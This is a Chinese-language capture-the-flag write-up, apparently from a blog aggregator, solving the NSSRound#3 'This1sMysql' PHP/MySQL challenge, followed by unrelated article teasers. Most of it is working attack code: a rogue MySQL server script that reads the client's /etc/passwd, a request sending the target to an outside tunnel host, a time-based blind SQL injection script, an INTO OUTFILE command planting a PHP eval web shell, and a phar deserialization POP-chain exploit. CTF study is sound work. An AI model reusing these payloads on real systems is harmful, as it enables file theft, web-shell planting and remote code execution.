[NSSRound#3 Team]This1sMysql

[NSSRound#3 Team]This1sMysql

源码

 <?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();if(isset($_POST['config']) && is_array($_POST['config'])){foreach($_POST['config'] as $key => $val){$value = is_numeric($var)?(int)$val:$val;$conn->set_opt($key, $value);}
}if(isset($_POST['mysql']) && is_array($_POST['mysql'])){$my = $_POST['mysql'];if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){echo "connect success";$conn->query("show databases;");}else{echo "connect fail";}}
else{include("function.php");
}$conn->close();
?>

先来看看怎么处理config参数的,首先必须是数组,然后foreach遍历赋值给$val,如果是$var是数字,则$val转换成int型赋值给$value否则按原始值赋值。然后执行set_opt($key, $value)百度了一下,发现是mysqli_options函数的别称

那么我们分析下mysqli_options函数的参数

 public mysqli::options(int $option, string|int $value): bool

刚好对应我们源码中的参数

option是可以修改的选项,注意是int型

在这里插入图片描述

而value是布尔值,这俩参数暂时还不知道如何利用

我们接着往下看,接收参数mysql包括对应键名进行sql数据库连接,可是我们并不知道具体的信息。结合提示Rogue-MySql-Server,去网上搜到可以利用Mysql服务端反向读取客户端的任意文件

当然此原理利用的option是**MYSQLI_OPT_LOCAL_INFILE**。通过题目提供的mysql参数对我们本地机的Mysql服务端进行连接从而反向读取靶机的文件

我们前面分析过了参数config的作用,那么我们只需要开启该option设置为true即可

(我查的是9,但是参考wp中确实排在8)

config[8]=true

用来读取文件的脚本

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter_rouge_mysql_sever_read_file_result = {}
_rouge_mysql_server_read_file_end = Falsedef checkVersionPy3():return not version_info < (3, 0)def rouge_mysql_sever_read_file(fileName, port, showInfo):if showInfo:log = getLogger(__name__)log.setLevel(INFO)tmp_format = StreamHandler()tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))log.addHandler(tmp_format)def _infoShow(*args):if showInfo:log.info(*args)# ================================================# =======No need to change after this lines=======# ================================================__author__ = 'Gifts'__modify__ = 'Morouu'global _rouge_mysql_sever_read_file_resultclass _LastPacket(Exception):passclass _OutOfOrder(Exception):passclass _MysqlPacket(object):packet_header = Struct('<Hbb')packet_header_long = Struct('<Hbbb')def __init__(self, packet_type, payload):if isinstance(packet_type, _MysqlPacket):self.packet_num = packet_type.packet_num + 1else:self.packet_num = packet_typeself.payload = payloaddef __str__(self):payload_len = len(self.payload)if payload_len < 65536:header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)else:header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)result = "".join((header.decode("latin1") if checkVersionPy3() else header,self.payload))return resultdef __repr__(self):return repr(str(self))@staticmethoddef parse(raw_data):packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])payload = raw_data[1:]return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)class _HttpRequestHandler(async_chat):def __init__(self, addr):async_chat.__init__(self, sock=addr[0])self.addr = addr[1]self.ibuffer = []self.set_terminator(3)self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN","Auth","Data","MoreLength","File"]self.state = self.stateList[0]self.sub_state = self.stateList[1]self.logined = Falseself.file = ""self.push(_MysqlPacket(0,"".join(('\x0a',  # Protocol'5.6.28-0ubuntu0.14.04.1' + '\0','\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',))))self.order = 1self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']def push(self, data):_infoShow('Pushed: %r', data)data = str(data)async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)def collect_incoming_data(self, data):_infoShow('Data recved: %r', data)self.ibuffer.append(data)def found_terminator(self):data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)self.ibuffer = []if self.state == self.stateList[0]:  # LENlen_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1if len_bytes < 65536:self.set_terminator(len_bytes)self.state = self.stateList[2]  # Dataelse:self.state = self.stateList[3]  # MoreLengthelif self.state == self.stateList[3]:  # MoreLengthif (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':self.push(None)self.close_when_done()else:self.state = self.stateList[2]  # Dataelif self.state == self.stateList[2]:  # Datapacket = _MysqlPacket.parse(data)try:if self.order != packet.packet_num:raise _OutOfOrder()else:# Fix ?self.order = packet.packet_num + 2if packet.packet_num == 0:if packet.payload[0] == '\x03':_infoShow('Query')self.set_terminator(3)self.state = self.stateList[0]  # LENself.sub_state = self.stateList[4]  # Fileself.file = fileName.pop(0)# endif len(fileName) == 1:global _rouge_mysql_server_read_file_end_rouge_mysql_server_read_file_end = Trueself.push(_MysqlPacket(packet,'\xFB{0}'.format(self.file)))elif packet.payload[0] == '\x1b':_infoShow('SelectDB')self.push(_MysqlPacket(packet,'\xfe\x00\x00\x02\x00'))raise _LastPacket()elif packet.payload[0] in '\x02':self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()elif packet.payload == '\x00\x01':self.push(None)self.close_when_done()else:raise ValueError()else:if self.sub_state == self.stateList[4]:  # File_infoShow('-- result')# fileContent_infoShow('Result: %r', data)if len(data) == 1:self.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:self.set_terminator(3)self.state = self.stateList[0]  # LENself.order = packet.packet_num + 1global _rouge_mysql_sever_read_file_result_rouge_mysql_sever_read_file_result.update({self.file: data.encode() if not checkVersionPy3() else data})# test# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)self.close_when_done()elif self.sub_state == self.stateList[1]:  # Authself.push(_MysqlPacket(packet, '\0\0\0\x02\0\0\0'))raise _LastPacket()else:_infoShow('-- else')raise ValueError('Unknown packet')except _LastPacket:_infoShow('Last packet')self.state = self.stateList[0]  # LENself.sub_state = Noneself.order = 0self.set_terminator(3)except _OutOfOrder:_infoShow('Out of order')self.push(None)self.close_when_done()else:_infoShow('Unknown state')self.push('None')self.close_when_done()class _MysqlListener(dispatcher):def __init__(self, sock=None):dispatcher.__init__(self, sock)if not sock:self.create_socket(AF_INET, SOCK_STREAM)self.set_reuse_addr()try:self.bind(('', port))except error:exit()self.listen(1)def handle_accept(self):pair = self.accept()if pair is not None:_infoShow('Conn from: %r', pair[1])_HttpRequestHandler(pair)if _rouge_mysql_server_read_file_end:self.close()_MysqlListener()_asyLoop()return _rouge_mysql_sever_read_file_resultif __name__ == '__main__':#fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD#不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=1028,showInfo=True).items():print(name + ":\n" + content.decode())

我们只需要修改监听的端口以及读取的文件即可

直接python3 test.py,然后脚本就开启监听

在这里插入图片描述

然后我们POST上传,注意ip和端口是我们内网穿透的

config[8]=true&mysql[host]=5i781963p2.yicp.fun&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=58265

成功读取

在这里插入图片描述

然后我们分别读取class.php和function.php

在这里插入图片描述

写个脚本恢复一下,把\n和转义的\都修改下

<?php
$filename = 'class.txt'; // 替换为要读取的文件路径$code = file_get_contents($filename);
$code = str_replace('\n', "\n", $code);
$code = str_replace('\\', "", $code);$file = 'class.php';
file_put_contents($file, $code);echo "代码已从文件 $filename 中恢复并写入文件:$file";
?>

先看看function.php

<?php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';if(!file_exists($mysqlpath)){die("NoNONo!");
}
else{$arr = json_decode(file_get_contents($mysqlpath));if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){echo "connect success";}else{echo "connect fail";}
}
?>

有file_get_contents函数可以读取文件

发现mysql.txt,访问一下得到

在这里插入图片描述

再来看看class.php,发现可以利用include去文件包含

<?php
class Upload {public $file;public $filesize;public $date;public $tmp;function __construct(){$this->file = $_FILES;}function __toString(){return $this->file["file"]["name"];}function __get($value){$this->filesize->$value = $this->date;echo $this->tmp;}
}
class Show{public $source;public $str;public $filter;public function __construct($file){$this->source = $file;$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}public function __toString(){$content = $this->str[0]->source;$content = $this->str[1]->schema;return $content;}public function __get($value){$this->show();return $this->$value;}public function __set($key,$value){$this->$key = $value;}public function show(){$filename = $this->schema . $this->source;include($filename);}public function __wakeup(){if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';}if ($this->source !== 'default.jpg') {$this->source = 'default.jpg';}}
}
class Test{public $test1;public $test2;function __toString(){$str = $this->test2->test;return 'test';}function __get($value){return $this->$value;}function __destruct(){echo $this->test1;}}?>

我们的思路就是上传phar文件,然后利用function.php的参数mysqlpath去phar伪协议读取然后命令执行

可是关键点是我们并不知道flag的位置以及文件名,所以无法直接include包含flag,那么我们尝试写入一句话木马,然后include包含它实现RCE。思路正确的,那么我们先解决注入的目录路径,这里利用option的**MYSQLI_INIT_COMMAND**来执行sql盲注

config[3]=select @@global.secure_file_priv

用于查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILESELECT ... INTO OUTFILE语句的目录。

在这里插入图片描述

盲注脚本如下

import requests
import datetime
import stringurl="http://node4.anna.nssctf.cn:28086/"
path_dir=''for i in range(1,50):low = 41high = 130mid = (high + low) // 2while (low < high):payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)data={"config[3]":payload}time1 = datetime.datetime.now()r = requests.post(url, data)time2 = datetime.datetime.now()time = (time2 - time1).secondsif time > 1:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 41 or mid == 130):breakpath_dir += chr(mid)print('目录为:{}'.format(path_dir))

得到目录为/nssctf

在这里插入图片描述

然后利用刚刚得到的数据库信息来写入木马

config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/shell.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

在这里插入图片描述

接下来就是构造phar包,通过into dumpfile上传到/nssctf

pop链子如下

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

这里要构造的是include('/nssctf/shell.php');

exp

<?php
class Upload {public $file;public $filesize;public $date;public $tmp;
}
class Show{public $source;public $str;public $filter;
}
class Test{public $test1;public $test2;}$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="shell.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

由于phar文件包含不可见字符,所以我们可以在本地把它转换成十六进制

在这里插入图片描述

然后利用into dump的语法写入二进制文件

语法区别

  • SELECT ... INTO OUTFILE 将查询结果以文本格式写入文件。结果中的每一行对应查询结果的一行,列之间使用制表符分隔。
  • SELECT ... INTO DUMPFILE 将查询结果直接以二进制格式写入文件。结果不会使用制表符或其他分隔符进行格式化。

在这里插入图片描述

最后就是phar读取文件,在env找到flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/234009.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件测试概念及分类整理汇总

前言 测试小伙伴在谈论软件测试分类&#xff0c;五花八门的分类&#xff0c;眼花缭乱。因为将各个维度划分的内容都整到一块了&#xff0c;在加上各自不同的见解与补充&#xff0c;各种冲突...... Findyou我经过多年测试总结基本定为4类测试(最多5类&#xff0c;自动化或者兼容…

Flutter 监听前台和后台切换的状态

一 前后台的切换状态监听 混入 WidgetsBindingObserver 这个类&#xff0c;这里提供提供了程序状态的一些监听 二 添加监听和销毁监听 overridevoid initState() {super.initState();//2.页面初始化的时候&#xff0c;添加一个状态的监听者WidgetsBinding.instance.addObserver…

多级缓存、OpenResty缓存、Redis分布式缓存、进程缓存

目录标题 一、预期表现二、环境配置1、nginx环境2、OpenResty环境3、redis环境3.1 安装redis3.2 配置启动命令3.3 配置主从3.4 哨兵 4、进程缓存环境 三 、主要编码工作3.1、缓存主要问题解决3.1.1 缓存穿透3.1.2 缓存雪崩3.1.3 缓存击穿 3.2、OpenResty编码3.2.1 openresty/ng…

有什么不同种类的葡萄酒?

当大自然完成了它的工作&#xff0c;葡萄收获了&#xff0c;酒窖主人的任务就是把葡萄园里达到的高质量带给成品酒。《葡萄酒法》将优质葡萄酒分为三类&#xff0c;白葡萄酒、红葡萄酒和玫瑰红葡萄酒&#xff0c;葡萄品种和生产流程被精确定义。 白葡萄酒新鲜&#xff0c;果香浓…

如何克隆驱动器,不同的操作系统有不同的推荐软件

你需要将Windows或macOS安装迁移到新驱动器吗?你可以使用服务备份文件,也可以创建数据的完整一对一副本。通过克隆你的驱动器,你可以创建一个精确的副本。 一些业务级别的备份服务,如IDrive和Acronis,具有内置的磁盘克隆功能,是对正常文件备份的补充。但对于一次性克隆(…

C++ 复杂性 – 为什么你会觉得 C++ 复杂?

C 是否真的复杂因人而异&#xff0c;但多数人都会认同这一观点。“为什么你觉得 C 复杂”这一问题的答案自然也十分主观&#xff0c;但这是个非常有趣的问题&#xff0c;而且会得到各种不同答案。我们或许会认为&#xff1a; 在教授一些功能时可能需要采取更好的方法部分领域可…

用于查询性能预测的计划结构深度神经网络模型--大数据计算基础大作业

用于查询性能预测的计划结构深度神经网络模型 论文阅读和复现 24.【X1.1】 在关系数据库查询优化领域&#xff0c;对查询时间的估计准确性直接决定了查询优化结果&#xff0c;进而影响到数据库整体的查询效率。但由于数据库自身的复杂性&#xff0c;查询时间受到数据分布、数据…

Unity中URP下使用屏幕坐标采样深度图

文章目录 前言一、Unity使用了ComputeScreenPos函数得到屏幕坐标1、 我们来看一下这个函数干了什么2、我们看一下该函数实现该结果的意义 二、在Shader中使用&#xff08;法一&#xff09;1、在Varying结构体中2、在顶点着色器中3、在片元着色器中 三、在Shader中使用&#xff…

独立式键盘控制的4级变速流水灯

#include<reg51.h> // 包含51单片机寄存器定义的头文件 unsigned char speed; //储存流水灯的流动速度 sbit S1P1^4; //位定义S1为P1.4 sbit S2P1^5; //位定义S2为P1.5 sbit S3P1^6; //位定义S3为P1.6 sbit S4P1^7; //位…

rime中州韵小狼毫 日期/农历 时间 事件 节气 滤镜

网络上但凡提到 rime中州韵小狼毫须鼠管输入法&#xff0c;总少不了智能时间&#xff0c;日期等炫技&#xff0c;可见这个便捷时间/日期输入功能是多么的受欢迎。作者也不落窠臼&#xff0c;今天为大家带来的分享就是 时间日期 滤镜。 先睹为快 在正文开始前&#xff0c;我们…

7 种常见的前端安全攻击

文章目录 七种常见的前端攻击1.跨站脚本&#xff08;XSS&#xff09;2.依赖性风险3.跨站请求伪造&#xff08;CSRF&#xff09;4.点击劫持5.CDN篡改6. HTTPS 降级7.中间人攻击 随着 Web 应用程序对业务运营变得越来越重要&#xff0c;它们也成为更有吸引力的网络攻击目标。但不…

探讨JS混淆技术及其加密解密实例

引言 在当前计算机科学领域中&#xff0c;保护软件代码的安全性和隐私性变得愈发重要。为了防止黑客攻击和恶意软件分析&#xff0c;开发人员采用各种技术来混淆和加密其代码&#xff0c;其中包括JS混淆技术。本文将介绍JS混淆技术的原理和应用&#xff0c;并提供一些相关的加密…

HTML5+CSS3小实例:弹出式悬停效果

实例:弹出式悬停效果 技术栈:HTML+CSS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><m…

Python解析XML,简化复杂数据操作的最佳工具!

更多Python学习内容&#xff1a;ipengtao.com XML&#xff08;可扩展标记语言&#xff09;是一种常见的文本文件格式&#xff0c;用于存储和交换数据。Python提供了多种库和模块&#xff0c;用于解析和操作XML文件。本文将深入探讨如何使用Python操作XML文件&#xff0c;包括XM…

各版本 操作系统 对 .NET Framework 与 .NET Core 支持

有两种类型的受支持版本&#xff1a;长期支持 (LTS) 版本和标准期限支持 (STS) 版本。 所有版本的质量都是一样的。 唯一的区别是支持的时间长短。 LTS 版本可获得为期三年的免费支持和补丁。 STS 版本可获得 18 个月的免费支持和修补程序。 有关详细信息&#xff0c;请参阅 .N…

SpringMVC-视图

SpringMVC中的视图实现了View接口&#xff0c;作用是渲染数据&#xff0c;将Model中的数据展示给用户。render是渲染方法&#xff0c;可以看到渲染的视图是一个View类型的对象。 SpringMVC视图的种类有很多&#xff0c;默认有转发视图和重定向视图。 如果配置了Thymeleaf视图解…

flutter 打包安卓apk 常用配置

打包之前需要先不配置不然会报错 Execution failed for task ‘:app:mergeReleaseResources’. APP目录下的build.gradleaaptOptions.cruncherEnabled falseaaptOptions.useNewCruncher false如图 配置targetSdkVersion 、minSdkVersion 在android/app/src目录下的build.…

(生物信息学)R语言绘图初-中-高级——3-10分文章必备——饼图(初级)

生物信息学文章的发表要求除了思路和热点以外,图片绘制是否精美也是十分重要的,本专栏为(生物信息学)R语言绘图初-中-高级——3-10分文章必备,主要通过大量文献,总结3-10分文章中高频出现的各种图片,并给大家提供图片复现的R语言代码,及图片识读。 本专栏将向大家介绍…

Linux--好玩的进度条

前言 先来看看我们想要达到的进度条效果&#xff0c;具体代码会在文章最后面放出。 一、创建文件及Makefile 我们需要实现声明的定义的分离&#xff0c;因此创建如下三个文件。 process.h prcess.c main.c。 touch process.h process.c main.c 同时还需要创建Makefi…

Linux进程通信之信号

目录 1、Linux中的信号编号及其名字 2、信号的处理&#xff1a; 3、信号的使用 1.入门版 1.信号发送函数kill 示例&#xff1a; 2.信号处理函数的注册signal 示例&#xff1a; 2.高级版 1. 信号处理发送函数sigqueue 示例&#xff1a; 2.信号处理函数的注册sigacti…